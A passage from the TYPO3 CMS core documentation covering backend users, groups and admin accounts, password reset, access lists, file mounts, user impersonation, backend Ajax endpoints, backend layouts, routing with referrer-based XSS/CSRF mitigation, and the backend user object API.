This screenshot shows just an extract of the group editing form. It contains many more fields!

The "admin" user

There is a special kind of backend users called "Admin". When creating a backend user, just check the "Admin!" box in the "General" tab and that user will become an administrator. There's no need to set further access options for such a user: an admin user can access every single feature of the TYPO3 backend, like the "root" user on a UNIX system.

All systems must have at least one "admin" user and most systems should have only "admin" users for the developers - not for any editor. Make sure to not share TYPO3 accounts with multiple users but create dedicated accounts for everyone. Not even "super users" should be allowed "admin" access since that will most likely grant them access to more than they need.

Admin users are differentiated with an orange icon.

In Web > List view, the different icon for admin users

Location of users and groups

Since both backend users and backend groups are represented by records in the database, they are edited just as any other record in the system. However backend users and groups are configured to exist only in the root of the page tree where only admin users have access:

Users and groups reside on the root page

Records located in the page tree root are identified by having their "pid" fields set to zero. The "pid" field normally contains the relation to the page where a record belongs. Since no pages can have the id of zero, this is the id of the root. Notice that only "admin" users can edit records in the page root!

If you need non-admin users to create new backend users, have a look at the TYPO3 system extension sys_action for a possible solution.

Password reset functionality

TYPO3 backend users can reset their password if they use the default TYPO3 login mechanism.

To display the reset link on the backend login page, the following criteria must be met:

  • The user has a password entered previously (indicating that no third-party login has been used).
  • The user has a valid email address added to their user record.
  • The user is neither deleted nor disabled.
  • The email address is used only once for all backend users of the instance.

Once the user has entered their email address, an email is sent with a link that allows to set a new password, which must consist of at least eight characters. The link is valid for 2 hours and a token is added to the link. If the password is entered correctly, it will be updated for the user and they can log in.

Notes on security

  • When having multiple users with the same email address, no reset functionality is provided.
  • No information disclosure is built-in, so if the email address is not in the system, it is not disclosed to the outside.
  • Rate limiting is enabled so that three emails can be sent per email address within 30 minutes.
  • Tokens are stored in the database but hashed again just like the password.
  • When a user has logged in successfully (for example, because they remembered the password), the token is removed from the database, effectively invalidating all existing email links.

Global configuration

The feature is enabled by default and can be deactivated entirely via the system-wide configuration option:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordReset'] = false;
Copied!

Optionally, it is possible to restrict this feature to non-admins only by setting the following system-wide option to false.

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordResetForAdmins'] = false;
Copied!

Both options are available to be configured within the Admin Tools > Settings module or in the Install Tool but can be set manually via typo3conf/LocalConfiguration.php or typo3conf/AdditionalConfiguration.php.

Reset password for user

Administrators can reset a user's password. This is useful primarily for security reasons, so that an administrator does not have to send a password over to a user in plain text (for example, by email).

The administrator can use the CLI command:

vendor/bin/typo3 backend:resetpassword https://example.com/typo3/ editor@example.com
Copied!
typo3/sysext/core/bin/typo3 backend:resetpassword https://example.com/typo3/ editor@example.com
Copied!

where usage is described like this:

backend:resetpassword <backend_url> <email_address>
Copied!

Roles

Another popular approach to setting up users is roles. This concept is basically about identifying certain roles that users can take and then allow for a very easy application of these roles to users.

TYPO3 access control is far more flexible and allows for such detailed configuration that it lies very far from the simple and straight forward concept of roles. This is necessary as the foundation of a system like TYPO3 should fit many possible usages.

However it is perfectly possible to create groups that act like "roles". This is what you should do:

  1. Identify the roles you need; Developer, Administrator, Editor, Super User, User, ... etc.
  2. Configure a group for each role: attribute permissions needed to fulfill each role.
  3. Consider having a general group which all other groups include - this would basically configure a shared set of permissions for all users.

Access Control Options

The permissions of fully initialized backend users are the result of the rights granted in their own user records and all the user groups they belong to.

The permissions are divided into the following conceptual categories:

Access lists
These grant access to backend modules, database tables and fields.
Mounts
Parts of the page tree and server file system.
Page permissions
Access to work on individual pages based on the user id and group ids.
User TSconfig

A flexible and hierarchical configuration structure defined by TypoScript syntax. This typically describes "soft" permission settings and options for the user or group which can be used to customize the backend and individual modules.

All user TSconfig options are described in the TSconfig Reference

Access Lists

Access lists are defined at group-level. Usage of access lists for defining user rights is described in the Getting Started tutorial. The various access lists are described here for reference, with additional technical details, where necessary.

Modules

This is a list of submodules a user may be given access to. Access to a main module is implicit, as soon as a user has access to at least one of its submodules.

Not all submodules appear in this list. It is possible to restrict a submodule to admin users only. This is the case, in particular, for all Admin Tools and System modules, as well as the Web > Template module.

Dashboard widgets

A list of the available dashboard widgets a user may be allowed to use on the dashboard.

Tables for listing

A list of all tables a user may be allowed to read in the backend. Again this in not a list of all tables in the database. Some tables are low level and never appear in the backend at all, even for admin users. Other tables are restricted to admin users and thus do not show up in the access list.

Restricting a table to admin users only is done using the TCA property "adminOnly".

Tables for editing
This is exactly the same list of tables as before, but for granting modification rights.
Page types

TYPO3 defines a number of page types. A user can be restricted to access only some of them.

For a full discussion on page types, please refer to the page types chapter.

Excludefields
When defining column tables in TCA, it is possible to set the "exclude" property to "1". This ensures that the field is hidden to users by default. Access to it must be explicitly granted in this access list.
Explicitly allow/deny field values

When a field offers a list of options to select from, it is possible to tell TYPO3 that access to these options is restricted and should be granted explicitly. Such fields and their values appear here.

The related TCA property is "authMode".

Limit to languages
By default users can edit records regardless of what language they are assigned to. Using this list it is possible to restrict users to working only in selected languages.

When a user is a member of more than one group, the access lists for the groups are "added" together.

Mounts

TYPO3 natively supports two kinds of hierarchical tree structures: the page tree (typically visible in the Web module) and the folder tree (typically visible in the File module). Each tree is generated based on the mount points configured for the current user. So a page tree is drawn from the DB Mounts which are one or more page ids telling the Core from which "start page" to draw the tree(s). Likewise is the folder tree drawn based on filemounts configured for the user.

DB mounts (page mounts) are set by pointing out the page that should be mounted for the user (at user or group-level):

The DB mounts for group "Editors"

This is what the user will see:

Only selected pages are accessible to the user

File Mounts are a little more difficult to set up, as they involve several steps. First of all, you need to have at least one File Storage. By default, you will always have one, pointing to the fileadmin directory. It is created by TYPO3 upon installation.

A File Storage is essentially defined by a File Driver and the path to which it points.

Next we can create a File Mount record (on the root page), which refers to a File Storage:

A file mount pointing to the "user_upload" directory

When defining a File Mount, you can point to a specific folder within the chosen File Storage. Finally the mount is assigned to a user or group:

The file mount is assigned to the "Editors" group

After a successful configuration, the file mount will appear to the user:

The file tree as visible by the user

DB and File Mounts can be set for both the user and group records. Having more than one DB or File Mount will just result in more than one mount point appearing in the trees. However the backend users records have two flags which determine whether the DB/File Mounts of the groups the user belongs to will be mounted as well! This is the default behaviour. So make sure to unset these flags if users should see only their "private" mount points and not those from their groups:

By default DB and File Mounts from groups are set for member users

"Admin" users do not need mount points. As always, they have access to every part of the installation.

Page Permissions

Page permissions are designed to work like file permissions on UNIX systems. Each page record has an owner user and group and permission settings for the owner, the group and "everybody". This is summarized here:

  • Every page has an owner, group and everybody-permission
  • The owner and group of a page can be empty. Nothing matches with an empty user/group (except "admin" users).
  • Every page has permissions for owner, group and everybody in these five categories (next to the label is the corresponding value):

    Show (1)
    See/Copy page and the page content.
    Edit page content (16)
    Change/Add/Delete/Move page content.
    Edit page (2)
    Change/Move the page, eg. change title, startdate, hidden flag.
    Delete page (4)
    Delete the page and page content.
    New pages (8)
    Create new pages under the page.

Page permissions are set and viewed with the module System > Access module:

The Access module and its overview of page rights and owners

Editing permissions is described in details in the Getting Started Tutorial.

A user must be "admin" or the owner of a page in order to edit its permissions.

When a user creates new pages in TYPO3 they will by default get the creating user as owner. The owner group will be set to the first listed user group configured for the users record (if any). These defaults can be changed through page TSconfig.

User TSconfig

User TSconfig is a hierarchical configuration structure entered in plain text TypoScript. It can be used by all kinds of applications inside of TYPO3 to retrieve customized settings for users which relates to a certain module or part. The options available are described in the document TSconfig .

Other Options

This chapter presents a few more, miscellaneous options for backend users and groups.

Backend users

Default language

This is the language in which the backend will be localized for the user. The users can change the language themselves in the User Settings module.

Fileoperation permissions
This is a complement to the File Mounts and defines exactly which operations the user is allowed to perform on both files and folders.
Access options
A backend user can be disabled (first flag in the "General" tab). A disabled user cannot log into the backend anymore. Furthermore, in the "Access" tab a start and end time can be given, defining a time interval during which the user will be allowed to log into the backend. Authentication before the start time and after the end time will automatically fail.
Lock to domain
This setting constrains the user to use a specific domain for logging into the TYPO3 backend. This is very useful in setups with multiple sites.

Backend Groups

Disable
Setting this flag will immediately disable the group for all members
Lock to domain
This restricts a group to a given domain. If a user logs in from another domain, that group membership will be ignored.
Hide in lists
This flag will prevent the group from appearing in various listings in TYPO3. This includes modules like System > Access.
Inherit settings from groups (Sub Groups)
Assigns sub-groups to this group. Sub-groups are evaluated before the group including them. If a user is a member of a group which includes one or more sub-groups, the user will also be a member of the sub-groups.

More about file mounts

File mounts require a little more description of the concepts provided by TYPO3. All files are handled by an application layer called the "File Abstraction Layer" (FAL). You can find more information about the basic concepts of FAL.

The FAL is comprised of the following components:

Drivers
Drivers are what makes it possible to access a given type of media storage. The Core provides a driver to access the local file system. Extensions exist that provide a driver for remote systems, like SFTP or platforms like Amazon S3.
Storages

A file storage uses a driver to connect to a given storage system. It is defined by a path pointing into that storage system. There can be several storages using the same driver and pointing to different "directories". The storage configuration depends on the driver it uses.

Thanks to the storage and its driver, the user is able to browse files from within the TYPO3 backend as if they were stored locally.

File mounts
As discussed before, a file mount is the element which is used to actually give access to users to some directories. A file mount is always related to a storage.

Create a new filemount

New in version 11.3

Starting with TYPO3 v11.3 it is possible to create a new filemount via the context menu of the folder.

To create a new filemount go to the module Filelist and create the folder for the mount if it didn't exist yet. Then open the context menu on that folder and choose New Filemount, then give the new filemount a name. storage and folder are already set.

It is also possible to create a filemount manually in the List module by creating a record of type Filemount. In this case you have to choose the storage and folder manually.

Paths for local driver storage

The file storages based on the "local file system" driver have an option for relative or absolute paths.

The paths options for a storage based on the local file system driver

"Relative" means that the given path is relative to the fileadmin/ folder (or whatever other folder was configured using $GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir']. Absolute paths are full paths starting at the root of the file system (i.e. / on Unix systems).

Absolute paths outside of the web root must be explicitly declared in the global configuration option $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']. Any absolute path that you want to declare in a file storage needs to have its first part match the value of $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] (or of the web root, which can be retrieved with \TYPO3\CMS\Core\Core\Environment::getPublicPath()).

As an example, let's say you want to define two storages, one pointing to /home/foo/bar and one pointing to /home/foo/baz. You could declare $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] to be equal to /home/foo/.

Home directories

TYPO3 also features the concept of "home directories". These are paths that are automatically mounted if they are present at a path configured in the global configuration. Thus they don't need to have a file mount record representing them - they just need a properly named directory to be present.

The parent directory of user/group home directories is defined by $GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath'] and $GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath'] respectively. Let's say we define the following:

$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath'] = '1:user_homes/';
Copied!

The first part of the definition (before the colon :) is the id of a file storage. The second part is a path relative to that file storage. Assuming file storage with a uid of "1" is the default one pointing to fileadmin/, the following path needs to exist on the server: /path/to/web/root/fileadmin/user_homes/.

Then a directory needs to exist for each user. Again let's assume that we have a user with a uid of "3" and a username of "editor", either of those paths would have to exist:

  • /path/to/web/root/fileadmin/user_homes/3/
  • /path/to/web/root/fileadmin/user_homes/3_editor/

The second possibility is more explicit, but will break if the username is changed.

The same goes for groups, but only using the uid. Assuming a group called "editors" with a uid of "1", and:

$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath'] = '1:groups/';
Copied!

we have to create a directory /path/to/web/root/fileadmin/groups/1/.

Having set up all these properties and folders, the user should see the following when moving to the FILE > Filelist module:

The file list with automatically mounted user and group directories

where only the first mount was explicitly assigned to that user. A different icon visually distinguishes automatic file mounts.

The concept of home directories can be efficiently combined with the TSconfig defaultUploadFolder option, which automatically directs all files uploaded by the user to the given directory.

Backend users module

The System > Backend users module offers a convenient way of working with backend users and groups. It provides a list of both users and groups. The users list can be searched and filtered.

Comparing Users or Groups

The Backend users module offers the possibility to compare users. Just add users using the "+ Compare" button and then hit the "Compare user list" button. For example, this is the comparison of the three different editors provided by the Introduction Package:

Comparing users in the Backers users module

The same functionality is available for user groups, including a comparison of their inherited permissions.

Impersonating Users ("Switch to")

We can impersonate (switch) to a user by clicking the Switch to user action icon:

The button to simulate another user

You will then be logged in as that user (note how the user name is prefixed with "SU" for "Simulated User"). To "switch back", use the "Exit" button (which replaces the usual "Logout" button).

Backend with active simulate user

Ajax in the Backend

An Ajax endpoint in the TYPO3 backend is usually implemented as a method in a regular controller. The method receives a request object implementing the \Psr\Http\Message\ServerRequestInterface , which allows to access all aspects of the requests and returns an appropriate response in a normalized way. This approach is standardized as PSR-7.

Create a controller

By convention, a controller is placed within the extension's Controller directory, optionally in a subdirectory. To have such controller, create a new ExampleController in Classes/Controller/ExampleController.php inside your extension.

The controller doesn't need that much logic right now. We'll create a method called doSomethingAction() which will be our Ajax endpoint.

<?php
declare(strict_types = 1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

class ExampleController
{
   /** @var ResponseFactoryInterface */
   private $responseFactory;

   public function __construct(ResponseFactoryInterface $responseFactory)
   {
      $this->responseFactory = $responseFactory;
   }

   public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
   {
        // TODO: return ResponseInterface
   }
}
Copied!

In its current state, the method doesn't do anything yet. We can add a very generic handling that exponentiates an incoming number by 2. The incoming value will be passed as a query string argument named input.

public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
{
    $input = $request->getQueryParams()['input'] ?? null;
    if ($input === null) {
        throw new \InvalidArgumentException('Please provide a number', 1580585107);
    }

    $result = $input ** 2;
    // TODO: return ResponseInterface
}
Copied!

We have computed our result by using the exponentiation operator, but we don't do anything with it yet. It's time to build a proper response. A response implements the \Psr\Http\Message\ResponseInterface and its constructor accepts the following arguments:

$body

| Condition: required | Type: string |

The content of the response.

$statusCode

| Condition: optional | Type: int | Default: 200 |

The HTTP status code of the response. The default of 200 means OK.

$headers

| Condition: optional | Type: array | Default: '[]' |

Headers to be sent with the response.

$reasonPhrase

| Condition: optional | Type: string | Default: '' |

A reason for the given status code. If omitted, the default for the used status code will be used.

use Psr\Http\Message\ResponseFactoryInterface;

public function __construct(
    private readonly ResponseFactoryInterface $responseFactory
) {
}

public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
{
    // our previous computation
    $response = $this->responseFactory->createResponse()
        ->withHeader('Content-Type', 'application/json; charset=utf-8');
    $response->getBody()->write(json_encode(['result' => $result], JSON_THROW_ON_ERROR));
    return $response;
}
Copied!

Register the endpoint

The endpoint must be registered as route. Create a file called Configuration/Backend/AjaxRoutes.php in your extension. The file basically just returns an array of route definitions. Every route in this file will be exposed to JavaScript automatically. Let's register our endpoint now:

EXT:my_extension/Configuration/Backend/AjaxRoutes.php
<?php
return [
    'example_dosomething' => [
        'path' => '/example/do-something',
        'target' => \Vendor\MyExtension\Controller\ExampleController::class . '::doSomethingAction',
    ],
];
Copied!

The naming of the key example_dosomething and path /example/do-something are up to you, but should contain the controller name and action name to avoid potential conflicts with other existing routes.

For further reading, take a look at Backend routing.

Use in Ajax

Since the route is registered in AjaxRoutes.php its exposed to JavaScript now and stored in the global TYPO3.settings.ajaxUrls object identified by the used key in the registration. In this example it's TYPO3.settings.ajaxUrls.example_dosomething.

You are now free to use the endpoint in any of your Ajax calls. To complete this example, we'll ask the server to compute our input and write the result into the console.

require(['TYPO3/CMS/Core/Ajax/AjaxRequest'], function (AjaxRequest) {
  // Generate a random number between 1 and 32
  const randomNumber = Math.ceil(Math.random() * 32);
  new AjaxRequest(TYPO3.settings.ajaxUrls.example_dosomething)
    .withQueryArguments({input: randomNumber})
    .get()
    .then(async function (response) {
    const resolved = await response.resolve();
    console.log(resolved.result);
  });
});
Copied!

Ajax in the backend, client-side

TYPO3 Core ships an API to send Ajax requests to the server. This API is based on the fetch API, which is implemented in every modern browser (e.g. Chrome, Safari, Firefox, Edge).

Prepare a request

To be able to send a request, the module TYPO3/CMS/Core/Ajax/AjaxRequest must be imported. To prepare a request, create a new instance of AjaxRequest per request and pass the url as the constructor argument:

let request = new AjaxRequest('https://example.org/my-endpoint');
Copied!

The API offers a method withQueryArguments() which allows to attach a query string to the URL. This comes in handy if the query string is programmatically generated. The method returns a clone of the AjaxRequest object. It's possible to pass either strings, arrays or objects as an argument.

Example:

const qs = {
  foo: 'bar',
  bar: {
    baz: ['foo', 'bencer']
  }
};
request = request.withQueryArguments(qs);

// The query string compiles to ?foo=bar&bar[baz][0]=foo&bar[baz][1]=bencer
Copied!

The method detects whether the URL already contains a query string and appends the new query string in a proper format.

Send a Request

The API offers some methods to actually send the request:

  • get()
  • post()
  • put()
  • delete()

Each of these methods set the corresponding request method (GET, POST, PUT, DELETE). post(), put() and delete() accept the following arguments:

data

| Condition: required | Type: string | object |

The payload to be sent as body in the request.

init

| Condition: optional | Type: object | Default: '{}' |

Additional request configuration to be set

The method get() accepts the init argument only.

Example:

let promise = request.get();
Copied!

The body of the request is automatically converted to a FormData object, if the submitted payload is an object. To send a JSON-encoded object instead, set the Content-Type header to application/json. If the payload is a string, no conversion will happen, but it's still recommended to set proper headers.

Example:

const json = {foo: 'bar'};
let promise = request.post(json, {
  headers: {
    'Content-Type': 'application/json; charset=utf-8'
  }
});
Copied!

Handle the response

In the examples above promise is, as the name already spoils, a Promise object. To fetch the actual response, we'll make use of then():

promise.then(async function (response) {
  const responseText = await response.resolve();
  console.log(responseText);
});
Copied!

response is an object of type AjaxResponse shipped by TYPO3 ( TYPO3/CMS/Core/Ajax/AjaxResponse). The object is a simple wrapper for the original Response object. AjaxResponse exposes the following methods which eases the handling with responses:

  • resolve() - returns the correct response based on the received Content-Type header, either plaintext or a JSON object
  • raw() - returns the original Response object

Of course a request may fail for various reasons. In such case, a second function may be passed to then(), which handles the exceptional case. The function may receive a ResponseError object ( TYPO3/CMS/Core/Ajax/ResponseError) which contains the received response.

promise.then(async function (response) {}, function (error) {
  console.error(`The request failed with ${error.response.status}: ${error.response.statusText}`);
});
Copied!

Abort a request

In some cases it might be necessary to abort a running request. The Ajax API has you covered then, an instance of AbortController is attached to each request. To abort the request, just call the abort() method:

request.abort();
Copied!

Backend layout

Backend layouts can be defined as database records or via page TSconfig. Page TSconfig should be preferred as it can be stored in the file system and be kept under version control.

Backend layout video

Benjamin Kott: How to implement frontend layouts in TYPO3 using backend layouts

Backend layout configuration

The backend layout to be used can be configurated for each page and/or a pages' subpages in the Page properties > Appearance. Multiple backend layouts are available if an extension providing backend layouts is installed or backend layouts have been defined as records or page TSconfig.

Choose the backend layout in the page properties

The Info module gives an overview of the backend layouts configured or inherited from a parent page at Web > Info > Pagetree overview > Type: Layouts:

Overview of the backend layouts used

Backend layout definition

Backend layouts can be configured either as "backend layout" record in a sysfolder or as page TSconfig entry in mod.web_layout.BackendLayouts. Each layout will be saved with a key. The "backend layout" records are using their uid as a key, therefore layouts defined via page TSconfig should use a non-numeric string key. It is a good practice to use a descriptive name as key.

The entries title and icon are being used to display the backend layout options in the page properties.

The overall grid size will be defined by config.backend_layout.colCount and rowCount. Additional rows in the rows array and additional columns in the each rows columns section will be ignored when they are greater then rowCount or colCount respectively.

Each column position can span several columns and or several rows. Each column position must have a distinct number between 0 and n. It is best practice to always assign "0" to the main column if there is such a thing as a main column. Multiple backend layouts that contain similar parts, i.e. header, footer, aside, ... should each have assigned the same number within one project. This leads to a uniform position of the content, which makes it more clear for further use.

Backend layout simple example

The following page TSconfig example creates a simple backend layout consisting of two rows and just one column.

mod {
  web_layout {
    BackendLayouts {
      exampleKey {
        title = Example
        config {
          backend_layout {
            colCount = 1
            rowCount = 2
            rows {
              1 {
                columns {
                  1 {
                    name = LLL:EXT:frontend/Resources/Private/Language/locallang_ttc.xlf:colPos.I.3
                    colPos = 3
                    colspan = 1
                  }
                }
              }
              2 {
                columns {
                  1 {
                    name = Main
                    colPos = 0
                    colspan = 1
                  }
                }
              }
            }
          }
        }
        icon = EXT:example_extension/Resources/Public/Images/BackendLayouts/default.gif
      }
    }
  }
}
Copied!

Backend layout advanced example

The following page TSconfig example creates a 3x3 backend layout with 5 column position sections in total. The topmost row (here called "header") spans all 3 columns. There is an "aside" spanning two rows on the right.

mod.web_layout.BackendLayouts {
  exampleKey {
    title = Example
    icon = EXT:example_extension/Resources/Public/Images/BackendLayouts/default.gif
    config {
      backend_layout {
        colCount = 3
        rowCount = 3
        rows {
          1 {
            columns {
              1 {
                name = Header
                colspan = 3
                colPos = 1
              }
            }
          }
          2 {
            columns {
              1 {
                name = Main
                colspan = 2
                colPos = 0
              }
              2 {
                name = Aside
                rowspan = 2
                colPos = 2
              }
            }
          }
          3 {
            columns {
              1 {
                name = Main Left
                colPos = 5
              }
              2 {
                name = Main Right
                colPos = 6
              }
            }
          }
        }
      }
    }
  }
}
Copied!

Output of a backend layout in the frontend

The backend layout to be used on a certain page gets determined either by the backend layout being chosen directly and stored in the pages field "backend_layout" or by the field "backend_layout_next_level" of a parent page up the rootline.

To avoid complex TypoScript for integrators, the handling of backend layouts has been simplified for the frontend.

To get the correct backend layout, the following TypoScript code can be used:

page.10 = FLUIDTEMPLATE
page.10 {
  file.stdWrap.cObject = CASE
  file.stdWrap.cObject {
	key.data = pagelayout

	default = TEXT
	default.value = EXT:sitepackage/Resources/Private/Templates/Home.html

	3 = TEXT
	3.value = EXT:sitepackage/Resources/Private/Templates/1-col.html

	4 = TEXT
	4.value = EXT:sitepackage/Resources/Private/Templates/2-col.html
  }
}
Copied!

Using data = pagelayout is the same as using as

field = backend_layout
ifEmpty.data = levelfield:-2,backend_layout_next_level,slide
ifEmpty.ifEmpty = default
Copied!

In the Fluid template the column positions can be accessed now via content mapping as described here Content mapping.

Reference implementations of backend layouts

The extension bootstrap_package ships several Backend layouts as well as an example configuration of how to include frontend templates for backend layouts (see its setup.typoscript)

Extensions for backend layouts

In many cases besides defining fixed backend layouts a more modular approach with the possibility of combining different backend layouts and frontend layouts may be feasible. The extension gridelements integrates the grid layout concept also to regular content elements.

The extension content_defender offers advanced options to the column positions i.e. allowed or disallowed content elements, a maximal number of content elements.

Backend routing

Each request to the backend is eventually executed by a controller. A list of routes is defined which maps a given request to a controller and an action.

Routes are defined inside extensions, in the files

  • Configuration/Backend/Routes.php for general requests
  • Configuration/Backend/AjaxRoutes.php for Ajax calls

Here is an extract of EXT:backend/Configuration/Backend/Routes.php (GitHub):

EXT:backend/Configuration/Backend/Routes.php (excerpt)
<?php

use TYPO3\CMS\Backend\Controller;

return [
    // Login screen of the TYPO3 Backend
    'login' => [
        'path' => '/login',
        'access' => 'public',
        'target' => Controller\LoginController::class . '::formAction'
    ],

    // Main backend rendering setup (previously called backend.php) for the TYPO3 Backend
    'main' => [
        'path' => '/main',
        'referrer' => 'required,refresh-always',
        'target' => Controller\BackendController::class . '::mainAction'
    ],
    // ...
];
Copied!

So, a route file essentially returns an array containing route mappings. A route is defined by a key, a path, a referrer and a target. The "public" access property indicates that no authentication is required for that action.

Backend routing and cross-site scripting

Public backend routes (those having option 'access' => 'public') do not require any session token, but can be used to redirect to a route that requires a session token internally. For this context, the backend user logged in must have a valid session.

This scenario can lead to situations where an existing cross-site scripting vulnerability (XSS) bypasses the mentioned session token, which can be considered cross-site request forgery (CSRF). The difference in terminology is that this scenario occurs on same-site requests and not cross-site - however, potential security implications are still the same.

Backend routes can enforce the existence of an HTTP referrer header by adding a referrer to routes to mitigate the described scenario.

'main' => [
    'path' => '/main',
    'referrer' => 'required,refresh-empty',
    'target' => Controller\BackendController::class . '::mainAction'
],
Copied!

Values for referrer are declared as a comma-separated list:

  • required enforces existence of HTTP Referer header that has to match the currently used backend URL (for example, https://example.org/typo3/), the request will be denied otherwise.
  • refresh-empty triggers an HTML-based refresh in case HTTP Referer header is not given or empty - this attempt uses an HTML refresh, since regular HTTP Location redirect still would not set a referrer. It implies this technique should only be used on plain HTML responses and will not have any impact, for example, on JSON or XML response types.

This technique should be used on all public routes (without session token) that internally redirect to a restricted route (having a session token). The goal is to protect and keep information about the current session token internal.

The request sequence in the TYPO3 Core looks like this:

  1. HTTP request to https://example.org/typo3/ having a valid user session
  2. Internally public backend route /login is processed
  3. Internally redirects to restricted backend route /main since an existing and valid backend user session was found + HTTP redirect to https://example.org/typo3/main?token=... + exposing the token is mitigated with referrer route option mentioned above

Generating backend URLs

Using the UriBuilder API, you can generate any kind of URL for the backend, may it be a module, a typical route or an Ajax call. Therefore use either buildUriFromRoute() or buildUriFromRoutePath(). The UriBuilder then returns a PSR-7 conform Uri object that can be cast to a string when needed. Furthermore, the UriBuilder automatically generates and applies the mentioned session token.

Example within a controller (we use here a non-Extbase controller):

EXT:my_extension/Classes/Controller/MyRouteController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Routing\UriBuilder;

final class MyRouteController
{
    private UriBuilder $uriBuilder;

    public function __construct(UriBuilder $uriBuilder)
    {
        $this->uriBuilder = $uriBuilder;
    }

    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        // .. do some stuff

        // Using a route identifier
        $uri = $this->uriBuilder->buildUriFromRoute(
            'web_layout',
            ['id' => 42]
        );

        // Using a route path
        $uri = $this->uriBuilder->buildUriFromRoutePath(
            '/record/edit',
            [
                'edit' => [
                    'pages' => [
                        123 => 'edit',
                    ],
                ],
            ]
        );

        // ... do some other stuff
    }
}
Copied!

More Information

Please refer to the following resources and look at how the TYPO3 source code handles backend routing in your TYPO3 version.

Backend user object

The backend user of a session is always available in extensions as the global variable $GLOBALS['BE_USER']. The object is created in \TYPO3\CMS\Backend\Middleware\BackendUserAuthenticator middleware for a standard web request and is an instance of the class \TYPO3\CMS\Core\Authentication\BackendUserAuthentication (which extends \TYPO3\CMS\Core\Authentication\AbstractUserAuthentication ).

When working with CLI and commands you might initialize the backend user object with \TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser().

Checking user access

The $GLOBALS['BE_USER'] object is mostly used to check user access right, but contains other helpful information. This is presented here by a few examples:

Checking access to current backend module

$MCONF is module configuration and the key $MCONF['access'] determines the access scope for the module. This function call will check if the $GLOBALS['BE_USER'] is allowed to access the module and if not, the function will exit with an error message.

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->modAccess($MCONF);
Copied!

Checking access to any backend module

If you know the module key you can check if the module is included in the access list by this function call:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('modules', 'web_list');
Copied!

Here access to the module Web > List is checked.

Access to tables and fields?

The same function ->check() can actually check all the group-based permissions inside $GLOBALS['BE_USER']. For instance:

Checking modify access to the table "pages":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('tables_modify', 'pages');
Copied!

Checking read access to the table "tt_content":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('tables_select', 'tt_content');
Copied!

Checking if a table/field pair is allowed explicitly through the "Allowed Excludefields":

EXT:some_extension/Classes/Controller/SomeController.php
$GLOBALS['BE_USER']->check('non_exclude_fields', $table . ':' . $field);
Copied!

Is "admin"?

If you want to know if a user is an "admin" user (has complete access), just call this method:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->isAdmin();
Copied!

Read access to a page?

This function call will return true if the user has read access to a page (represented by its database record, $pageRec):

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->doesUserHaveAccess($pageRec, 1);
Copied!

Changing the "1" for other values will check other permissions:

  • use "2" for checking if the user may edit the page
  • use "4" for checking if the user may delete the page.

Is a page inside a DB mount?

Access to a page should not be checked only based on page permissions but also if a page is found within a DB mount for ther user. This can be checked by this function call ( $id is the page uid):

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->isInWebMount($id)
Copied!

Selecting readable pages from database?

If you wish to make a SQL statement which selects pages from the database and you want it to be only pages that the user has read access to, you can have a proper WHERE clause returned by this function call:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->getPagePermsClause(1);
Copied!

Again the number "1" represents the "read" permission; "2" is "edit" and "4" is "delete" permission. The result from the above query could be this string:

Result of the above query
((pages.perms_everybody & 1 = 1)OR(pages.perms_userid = 2 AND pages.perms_user & 1 = 1)OR(pages.perms_groupid in (1) AND pages.perms_group & 1 = 1))
Copied!

Saving module data

This stores the input variable $compareFlags (an array!) with the key "tools_beuser/index.php/compare"

EXT:some_extension/Classes/Controller/SomeModuleController.php
$compareFlags = \TYPO3\CMS\Core\Utility\GeneralUtility::_GP('compareFlags');
$GLOBALS['BE_USER']->pushModuleData('tools_beuser/index.php/compare', $compareFlags);
Copied!

Getting module data

This gets the module data with the key "tools_beuser/index.php/compare" (lasting only for the session) :

EXT:some_extension/Classes/Controller/SomeModuleController.php
$compareFlags = $GLOBALS['BE_USER']->getModuleData('tools_beuser/index.php/compare', 'ses');
Copied!

Getting TSconfig

This function can return a value from the "user TSconfig" structure of the user. In this case the value for "options.clipboardNumberPads":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$tsconfig = $GLOBALS['BE_USER']->getTSConfig();
$clipboardNumberPads = $tsconfig['options.']['clipboardNumberPads'] ?? '';
Copied!

Getting the Username

The full "be_users" record of a authenticated user is available in $GLOBALS['BE_USER']->user as an array. This will return the "username":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->user['username']
Copied!

Get User Configuration Value

The internal ->uc array contains options which are managed by the User Tools > User Settings module (extension "setup"). These values are accessible in the $GLOBALS['BE_USER']->uc array. This will return the current state of "Notify me by email, when somebody logs in from my account" for the user:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->uc['emailMeAtLogin']
Copied!

Broadcast channels

